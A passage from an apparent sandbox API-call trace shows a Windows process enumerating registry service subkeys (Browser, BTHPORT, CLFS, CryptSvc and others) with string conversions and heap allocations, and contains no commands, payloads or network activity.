lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.934] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.934] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.934] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0175.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.935] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.935] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.935] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0175.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.936] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.936] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.936] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.936] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0175.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0175.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0175.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.937] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0175.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.937] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0175.937] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0175.938] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0175.939] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: 